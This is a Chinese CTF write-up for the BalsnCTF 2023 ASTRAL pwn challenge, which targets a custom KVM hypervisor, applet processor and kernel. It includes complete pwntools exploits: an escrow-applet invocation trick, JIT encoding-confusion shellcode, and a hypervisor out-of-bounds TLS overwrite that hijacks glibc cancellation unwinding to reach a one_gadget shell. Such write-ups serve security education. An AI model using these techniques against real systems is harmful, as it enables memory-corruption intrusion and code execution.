BalsnCTF2023Pwn ASTRAL赛题复现

题目链接https://github.com/jwang-a/CTF/tree/master/MyChallenges/Pwn/ASTRAL/

赛题分析

题目给出了5个文件夹:

  • APPLET(赛题设计初期对applet的设计和简单的python实现)
  • APPLET_PROCESSOR(赛题对applet运行时的C语言实现,以device形式连接hypervisor)
  • HYPERVISOR(使用kvm实现vm,支持连接device)
  • KERNEL(一个单进程的操作系统内核)
  • USER(在内核中运行的用户态程序)

所以结构是:

1
2
3
4
5
DEVICE

| pipe hypercall syscall

HYPERVISOR ------------- KERNEL------------USER

Nebula(Stage1, Custom vm)

本题作为Stage1,只是考察有没有理解代码。通过HYPERVISOR/const.h我们能知道每关flag对应的位置。搜索得printflag调用链

kernelMain()→initAppletStorage()→g_applet.applets[APPLET_CNT_MAX + 3].nativeFn = appletBuiltinFlag→hp_appletspaceFlag()→hypercall(HP_APPLETSPACE_FLAG, 9)→hp_appletspaceFlag(vm)→printFlag(APPLETSPACE_FLAG_FNAME)

即我们通过invoke位置在APPLET_CNT_MAX+3的applet即可。然而,若是通过kernel syscall直接invoke会失败,原因是在KERNEL/applet.c:kAppletInvoke处存在检查if (appletIdx >= APPLET_CNT_MAX && caller == TASK_NIL) return FAIL;若想invoke,必须满足caller!=TASK_NIL,即必须由另一个applet调用

注意到applet自身即可调用其他applet(操作码invoke)。运行至invoke时,processor会保存上下文,给hypervisor发送中断(APPLET_PROCESSOR/processor.c:handleAppletExit),而中断会被传递至kernel的interruptEntry中(HYPERVISOR/interrupt.c:runInterruptHandler)被kAppletInterupt处理。通过kAppletInvoke调用其他applet,此时的caller就不为TASK_NIL了。

然而,无论是register还是invoke一个applet都需要有合法的RSA签名(APPLET_PROCESSOR/processor.c:appletCheckSignature),我们自己写的applet自然是不会被加载和调用的。好在题目已经给出了两个签名后的applet(APPLET/escrow, APPLET/lottery),通过分析escrow,我们发现完全可以通过它调用其他的applet。第一次调用escrow初始化存储,第二次提供id就可以调用对应的applet。需要注意的是,第一次调用时将输入的8字节存储为preimage,第二次会将传入的前8字节取digest与preimage进行比较,只有比较成功才会按之后的8字节id调用对应的applet。

为了获得对应的id,我们可以自行实现digestGenerate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdint.h>
#include <openssl/sha.h>

#define SUCCESS 0
#define FAIL 0xffffffffffffffff

#define DIGEST_PAYLOAD_SIZE_MAX 0x2000
#define DIGEST_SIZE 0x20
#define SIGNATURE_SIZE 0x100

uint64_t digestGenerateHelper(uint64_t codeLen, uint8_t *code, uint8_t *n, uint8_t *e, uint8_t *nonce, uint8_t *digest) {
uint8_t payload[DIGEST_PAYLOAD_SIZE_MAX];
if (n != NULL) {
memcpy((uint64_t)payload, (uint64_t)n, SIGNATURE_SIZE);
} else {
memset((uint64_t)payload, '\0', SIGNATURE_SIZE);
}
if (e != NULL) {
memcpy((uint64_t)&payload[SIGNATURE_SIZE], (uint64_t)e, SIGNATURE_SIZE);
} else {
memset((uint64_t)&payload[SIGNATURE_SIZE], '\0', SIGNATURE_SIZE);
}
if (nonce != NULL) {
memcpy((uint64_t)&payload[SIGNATURE_SIZE * 2], (uint64_t)nonce, SIGNATURE_SIZE);
} else {
memset((uint64_t)&payload[SIGNATURE_SIZE * 2], '\0', SIGNATURE_SIZE);
}
memcpy((uint64_t)&payload[SIGNATURE_SIZE * 3], (uint64_t)code, codeLen);
SHA256(SIGNATURE_SIZE * 3 + codeLen, payload, digest);
return SUCCESS;
}

也可以直接hack进kernel(KERNEL/applet.c:initAppletStorage line26-28),取输出即可

1
2
3
uint64_t buf;
getPhysAddr((uint64_t)appletDigest, PDE64_RW, &buf);
hp_write(1, buf, 8);

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from typing import Optional
from hashlib import sha256

context.log_level='debug'
p=process(['./hypervisor','./processor','./kernel','./user','1500'])
menu=b'leave'
def sendNum(x: int):
p.sendline(str(x).encode())

def login(username: bytes, password: bytes, usernameLen: Optional[int] = None, passwordLen = None):
if usernameLen==None:
usernameLen=len(username)
if passwordLen==None:
passwordLen=len(password)
sendNum(usernameLen)
sendNum(passwordLen)
p.send(username)
p.send(password)

def registerApplet(code: str, signature: str, codeLen: Optional[int] = None, nonce: str = '00'*0x100, pubn: str = '00'*0x100, pube:str = '00'*0x100) -> int:
assert(len(code)%2==0)
if codeLen == None:
codeLen=len(code)//2
sendNum(1)
sendNum(codeLen)
p.send(code.encode())
p.send(nonce.encode())
p.send(pubn.encode())
p.send(pube.encode())
p.send(signature.encode())
p.recvuntil(b': ')
return int(p.recvuntil(b'\n').decode())

def invokeApplet(appid: int, data: str, dataLen: Optional[int] = None) -> int:
assert(len(data)%2==0)
if dataLen == None:
dataLen=len(data)//2
sendNum(3)
sendNum(appid)
sendNum(dataLen)
p.send(data.encode())
p.recvuntil(b': ')
return int(p.recvuntil(b'\n').decode())

login(b'a', b'a')
p.recvuntil(menu)
id=registerApplet('4003004119003400000000000120023001015a21440400400a00fd401c00fd56005611ff3002085a2b42f3ff27995a8944ecff281050102f90fd400100fd3009105a9b42d9ff5010590a300208278950202f90300302513e59e33700633193a9d18f5ea530011059a2fe203130000850022f825a8144a7ff51022f92270030021059b15121fefd', '2fd4be9be84da8a203cfa80f008fe7a4b14a654d504a67f90c898da101a1527a8f8d43e1dd4eb4f0465deaf030ca2f723b269d959bfb47905f8c169d1028a5f41197b4b51c48bb85e578ea66b6bfd6e2b10d0c8b151fa8774fe91f56e9ad5ff5bff9fa5af6b0e52c08ea014b6b55115918d2d60860464d865fe2c521503fb2a4ed3a551d9c27d933d3de1d183de0e2d085166c9815843546bf6a3698a02a107ca57b6f7d329e1a3e9496ad7f1c69e069cd84947d98b241f5226db74eb018494945c21420ad2cfbfb4b2c0f586f7820794eedf2df8e7527d98873535c5d05ffb8df44c4f8b5cf3dc34515806ee7aa85cba75e1872a340435efffb13a6a395a812', nonce='2fd4be9be84da8a203cfa80f008fe7a4b14a654d504a67f90c898da101a1527a8f8d43e1dd4eb4f0465deaf030ca2f723b269d959bfb47905f8c169d1028a5f41197b4b51c48bb85e578ea66b6bfd6e2b10d0c8b151fa8774fe91f56e9ad5ff5bff9fa5af6b0e52c08ea014b6b55115918d2d60860464d865fe2c521503fb2a4ed3a551d9c27d933d3de1d183de0e2d085166c9815843546bf6a3698a02a107ca57b6f7d329e1a3e9496ad7f1c69e069cd84947d98b241f5226db74eb018494945c21420ad2cfbfb4b2c0f586f7820794eedf2df8e7527d98873535c5d05ffb8df44c4f8b5cf3dc34515806ee7aa85cba75e1872a340435efffb13a6a395a812')
nonce=sha256(bytes.fromhex('deadbeefdeadbeef')).hexdigest()[:16]
invokeApplet(id, nonce)
invokeApplet(id, 'deadbeefdeadbeef'+'25663ff71c330069')
context.log_level='INFO'
p.interactive()

Protostar(Stage2, JIT)

根据上文对const.h的分析和flag引用查找可知,本题需要我们控制device向hypervisor发送特定的interrupt得到flag。

漏洞点在于JIT对mov reg, [reg]的实现有误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//APPLET_PROCESSOR/jit.h

#define MEM_LOAD(_APPLET_CONTEXT, _PC, _REG1, _REG2, _SIZE) { \
uint64_t MLO_asmByte; \
MEM_TRANSLATE(_APPLET_CONTEXT, _PC, _REG2, _SIZE); \
MLO_asmByte = 0x008b48 | (((_REG1) & 8) >> 1) | (((_REG1) & 7) << 19) | (((_REG2) & 8) >> 3) | (((_REG2) & 7) << 16); \
EMIT(_APPLET_CONTEXT, &MLO_asmByte, 3); /* mov reg1, [reg2] */ \
if ((_SIZE) != 8) { \
MLO_asmByte = 0x00e0c148 | (((8 - (_SIZE)) * 8) << 24) | (((_REG1) & 8) >> 3) | (((_REG1) & 7) << 16); \
EMIT(_APPLET_CONTEXT, &MLO_asmByte, 4); /* shl reg1, ((8 - size) * 8) */ \
MLO_asmByte = 0x00e8c148 | (((8 - (_SIZE)) * 8) << 24) | (((_REG1) & 8) >> 3) | (((_REG1) & 7) << 16); \
EMIT(_APPLET_CONTEXT, &MLO_asmByte, 4); /* shr reg1, ((8 - size) * 8) */ \
} \
if ((_REG1) == (_REG2)) { \
EMIT(_APPLET_CONTEXT, "\x48\x83\xc4\x08", 4); /* add rsp, 8 */ \
} else { \
HOST_POP_REG(_APPLET_CONTEXT, _REG2); /* pop reg2 */ \
} \
}

此处使用的mov指令为mov r64, r/m64,指令格式为REX.W + 8B /r,题目通过更改REX.BModRM:r/m来编码第二个操作数,然而当第二个操作数为r12r13时,编码格式稍有变化

r12对应的R/M为100,r13对应的R/M为101,显然在Mod为00时(即操作数为寄存器且无偏移时)他们不能被直接塞入R/M中,取而代之应该结合REX,对于r12使用SIB byte,对于r13增加00偏移来表示

感觉mod?11是intel文档乱码了

而题目没有考虑到这种情况,错误地进行了编码,例如mov rax, [r13]被编码为49 8b 05。我们看到在Table 2-2中,并没有给出对应的寄存器。那么这对应的指令是什么呢?

通过翻阅手册我们得知,49 8b 05 XX XX XX XX对应的是mov rax, [rip+{int32}],即RIP相对寻址。因为指令长度的不同,这里JIT的错误编码给了我们构造指令错位的机会。构造时要注意寻址到合法的地址,通过调试得知需要int32为一个较小的正数(小于0x26b5f4d)。

回到漏洞点,我们发现在49 8b 05后还有HOST_POP_REG(_APPLET_CONTEXT, _REG2),即pop r13,即占用了两个字节。接下来我们翻jit.h找一个比较小的指令,发现add很符合需求(_OP==1)

1
2
3
4
5
// op reg1, reg2
#define REG_OPS(_APPLET_CONTEXT, _OP, _REG1, _REG2) { \
uint64_t RPS_asmByte = 0xc00048 | ((_OP) << 8) | (((_REG1) & 8) >> 3) | (((_REG1) & 7) << 16) | (((_REG2) & 8) >> 1) | (((_REG2) & 7) << 19); \
EMIT(_APPLET_CONTEXT, &RPS_asmByte, 3); \
}

并且我们惊喜地发现,通过控制_REG2=0b101(RBP/R13), REG1=0b011(RBX/R11)即可在第三个字节构造出0xeb,即jmp rel8指令的opcode。考虑到我们只能使用r0-r15,可以选择add r3, r13add r11, r13。接下来我们构造rel8,实际上直接使用REX(0x48)即可,我们可以直接使用load reg, imm64作padding,并使用其中的imm64放置shellcode,在两段imm64间使用jmp $+2衔接。

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from typing import Optional
from assembler import aasm

context.log_level='debug'
p=process(['./hypervisor','./processor','./kernel','./user','100000'])
menu=b'leave'
def sendNum(x: int):
p.sendline(str(x).encode())

def login(username: bytes, password: bytes, usernameLen: Optional[int] = None, passwordLen = None):
if usernameLen==None:
usernameLen=len(username)
if passwordLen==None:
passwordLen=len(password)
sendNum(usernameLen)
sendNum(passwordLen)
p.send(username)
p.send(password)

def registerApplet(code: str, signature: str = '00'*0x100, codeLen: Optional[int] = None, nonce: str = '00'*0x100, pubn: str = '00'*0x100, pube:str = '00'*0x100) -> int:
assert(len(code)%2==0)
if codeLen == None:
codeLen=len(code)//2
sendNum(1)
sendNum(codeLen)
p.send(code.encode())
p.send(nonce.encode())
p.send(pubn.encode())
p.send(pube.encode())
p.send(signature.encode())
p.recvuntil(b': ')
return int(p.recvuntil(b'\n').decode())

def invokeApplet(appid: int, data: str = '', dataLen: Optional[int] = None) -> int:
assert(len(data)%2==0)
if dataLen == None:
dataLen=len(data)//2
sendNum(3)
sendNum(appid)
sendNum(dataLen)
p.send(data.encode())
p.recvuntil(b': ')
return int(p.recvuntil(b'\n').decode())


login(b'a', b'a')
p.recvuntil(menu)

code='''
load <8> r0, [r13]
add r11, r13
load <8> r0, 0
load <8> r0, 0
load <8> r0, 0
load <8> r0, 0
load <8> r0, 0
load <8> r0, 0
load <8> r0, 0
load <8> r0, 0x02eb00000102bf90 // nop; mov edi, 0x102; jmp 2
load <8> r0, 0x02eb54000000f368 // push 0xf3; push rsp; jmp 2
load <8> r0, 0x02eb500104c0315e // pop rsi; xor eax, eax; add al, 1; push rax; jmp 2
load <8> r0, 0x050f3cb0050f5a // pop rdx; syscall; mov al, 0x3c; syscall
'''
code=aasm(code)

appid=registerApplet(code.hex())
invokeApplet(appid)

p.interactive()

Redgiant(Stage3, Userspace)

还在看

Supernova(Stage4, Kernel)

还在看

Neutron(Stage5, Hypervisor)

攻击hypervisor,最先想到的就是对内存的读写操作没有进行完好的边界检查。注意到以下代码(HYPERVISOR/hypercall.c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define MEM_SIZE 0x4000000
#define PAGE_SIZE 0x1000

uint64_t getMem(VM *vm, uint32_t paddr, uint32_t size, void *dst) {
if (paddr >= MEM_SIZE) return FAIL;
memcpy(dst, &(((char*)vm->mem)[paddr]), size);
return SUCCESS;
}

uint64_t setMem(VM *vm, uint32_t paddr, uint32_t size, void *src) {
if (paddr >= MEM_SIZE) return FAIL;
memcpy(&(((char*)vm->mem)[paddr]), src, size);
return SUCCESS;
}

uint32_t hp_read(VM *vm) {
HYPER_READ readArg;
char buf[PAGE_SIZE];
if (getHpArg(vm, sizeof(HYPER_READ), &readArg) == FAIL) return HP_FAIL;
if (readArg.fd != STDIN_FILENO) return HP_FAIL;
if (readArg.size > PAGE_SIZE) return HP_FAIL;
for (uint64_t cursor = 0, readSize = 0; cursor < readArg.size; cursor += readSize) {
if ((readSize = read(readArg.fd, &buf[cursor], readArg.size - cursor)) <= 0) return HP_FAIL;
}
if (setMem(vm, readArg.paddr, readArg.size, buf) == FAIL) return HP_FAIL;
return HP_SUCCESS;
}

uint32_t hp_write(VM *vm) {
HYPER_WRITE writeArg;
char buf[PAGE_SIZE];
if (getHpArg(vm, sizeof(HYPER_WRITE), &writeArg) == FAIL) return HP_FAIL;
if (writeArg.fd != STDOUT_FILENO) return HP_FAIL;
if (writeArg.size > PAGE_SIZE) return HP_FAIL;
if (getMem(vm, writeArg.paddr, writeArg.size, buf) == FAIL) return HP_FAIL;
if (write(writeArg.fd, buf, writeArg.size) != writeArg.size) return HP_FAIL;
return HP_SUCCESS;
}

仅对paddr进行了越界检查,而没有检查paddr+size是否越界。这导致我们可以实现hypervisor内存vm.mem后0xfff大小的任意读写。根据调试可以得知,这个位置刚好是TLS的部分。先通过读得到libc_base

我们可以通过修改fs_base附近的内容,使read认为自己处在一个被cancel的线程中,从而执行exception handler。

调用链__GI__libc_read → __GI__pthread_enable_asynccancel → __do_cancel → __GI___pthread_unwind → _Unwind_ForcedUnwind(glibc) → link → _Unwind_ForcedUnwind(libgcc) → …(调不明白了) → __libc_longjmp → __longjmp_cancel

因为link时的指针都被mangle过(左移0x11异或fs:[0x30]),所以我们可以先把fs:[0x30]改为0

为了满足pthread_enable_asynccancel的条件,需要把fs:[0x18]设为1,fs:[0x308]设为8

通过修改fs:[0x300]处的结构体指针,我们可以控制执行exception handler时的寄存器,包括r8, r9, rdx(rip), rbx, r12, r13, r14, r15, rbp, rsp。通过调试可知此时r10也为0,所以我们可以直接使用one_gadget得到shell。如果没有合适的one_gadget,也可以通过ROP getshell(因为rsp可控)

具体偏移如下(rdi为fs:[0x300]处的结构体指针):

进行hypercall时,eax使用任意空闲内存地址即可,我使用了kernel的栈顶部分

对于processor,使用jmp $-2似乎会导致hypervisor接收中断失败从而崩溃,因此我选择使其陷入IO中

最终exp:(作者给出的官方exp似乎打不通,小坑)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from pwn import u64,p32,p64
context(arch='amd64',log_level='debug',terminal=['tmux','splitw','-h'])
p=process(['./hypervisor','./processor','./kernel','./user','3'])
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

def rol(val, cnt):
return ((val << cnt) | (val >> (64 - cnt))) & ((1 << 64) - 1)

sc1=asm('''
label_1:
mov edi,0x100
lea rsi,[rip+0x20]
mov edx,0x100
xor eax,eax
syscall
jmp label_1
''')

sc2=asm('''
mov dx,0x8001
mov eax,0x5c000
mov qword ptr [rax],1
mov qword ptr [rax+8],0x3ffffff
mov qword ptr [rax+0x10],0x1000
out dx, eax

mov dx,0x8000
mov eax,0x5c000
mov qword ptr [rax],0
mov qword ptr [rax+8],0x3ffffff
mov qword ptr [rax+0x10],0x1000
out dx, eax

mov dx,0x8000
mov eax,0x5c000
mov qword ptr [rax],0
mov qword ptr [rax+8],0x3ffffff
mov qword ptr [rax+0x10],0x1000
out dx, eax
''').ljust(0x1000,b'\xcc')

p.sendlineafter(b'length : ',str(len(sc1)).encode())
p.sendafter(b'shellcode : ',sc1)
p.send(sc2)
data=b''
while len(data)<0x1000:
data+=p.recv(0x1000-len(data))
fs_base=u64(data[0x741:0x749])
tls_base=fs_base-0x740
success('fs_base='+hex(fs_base))
libc.address=fs_base-0x740+0x3000
success('libc_base='+hex(libc.address))

target=libc.address+0xebc81 #one_gadget

data=data[:0x741+0x18]+p32(1)+data[0x741+0x18+4:] #pthread_cancel
data=data[:0x741+0x300]+p64(tls_base)+p32(8)+data[0x741+0x308+4:] #setjmp context
data=data[:0x741+0x30]+p64(0)+data[0x741+0x38:] #fs:[0x30]
data=data[:9]+p64(rol(tls_base-0x1000,0x11))+data[0x11:] #rbp
data=data[:0x31]+p64(rol(tls_base,0x11))+p64(rol(target,0x11))+data[0x41:] #rsp rdx(rip)

pause()
p.send(data)

p.interactive()

StarryNight(Fullchain)

还在看